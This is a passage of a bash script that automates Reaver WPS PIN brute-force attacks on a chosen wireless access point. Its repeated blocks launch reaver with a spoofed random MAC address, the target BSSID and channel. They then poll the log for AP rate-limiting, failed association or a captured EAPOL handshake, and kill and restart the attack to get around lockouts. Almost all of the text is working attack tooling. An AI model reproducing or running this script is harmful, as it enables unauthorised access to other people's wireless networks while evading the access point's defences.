	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R25 == y || $USE_R25 == Y ]] && [[ $USE_LONG25 == y || $USE_LONG25 == Y ]] && [[ $USE_PIN25 == n || $USE_PIN25 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME25"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL25"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP25"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX25" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY25"
echo -e "$info Reaver live time                   = $yel$LIVE25 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME25-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL25 -b $TARGETAP25 -r $RX25:$RY25 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME25-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE25-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R25 == n || $USE_R25 == N ]] && [[ $USE_LONG25 == n || $USE_LONG25 == N ]] && [[ $USE_PIN25 == y || $USE_PIN25 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME25"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL25"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP25"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE25 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME25-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL25 -b $TARGETAP25 -vv -x 60  --pin=$WPS_PIN25 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME25-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE25-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R25 == y || $USE_R25 == Y ]] && [[ $USE_LONG25 == n || $USE_LONG25 == N ]] && [[ $USE_PIN25 == y || $USE_PIN25 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME25"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL25"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP25"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX25" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY25"
echo -e "$info Reaver live time                   = $yel$LIVE25 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME25-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL25 -b $TARGETAP25 -vv -x 60 -r $RX25:$RY25 --pin=$WPS_PIN25 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME25-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE25-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R25 == n || $USE_R25 == N ]] && [[ $USE_LONG25 == y || $USE_LONG25 == Y ]] && [[ $USE_PIN25 == y || $USE_PIN25 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME25"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL25"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP25"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE25 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME25-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL25 -b $TARGETAP25 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN25 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME25-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE25-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

